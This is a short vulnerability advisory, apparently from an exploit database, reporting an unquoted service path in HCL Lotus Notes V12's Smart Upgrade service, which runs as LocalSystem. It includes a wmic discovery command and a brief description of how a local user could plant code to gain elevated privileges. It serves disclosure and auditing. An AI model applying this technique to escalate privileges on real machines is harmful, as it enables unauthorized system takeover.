# Exploit Title: HCL Lotus Notes V12- Unquoted Service Path # Exploit Author: Mert DAŞ # Version: V12 # Date: 01/12/2021 # Vendor Homepage: https://www.hcltechsw.com/domino/download # Tested on: Windows 10 ProcessId : 3860 Name : LNSUSvc DisplayName : HCL Notes Smart Upgrade Hizmeti PathName : c:\HCL\Notes\SUService.exe StartName : LocalSystem StartMode : Auto State : Running Discovery ------------------------- C:\Users\Mert>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ #Exploit: A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.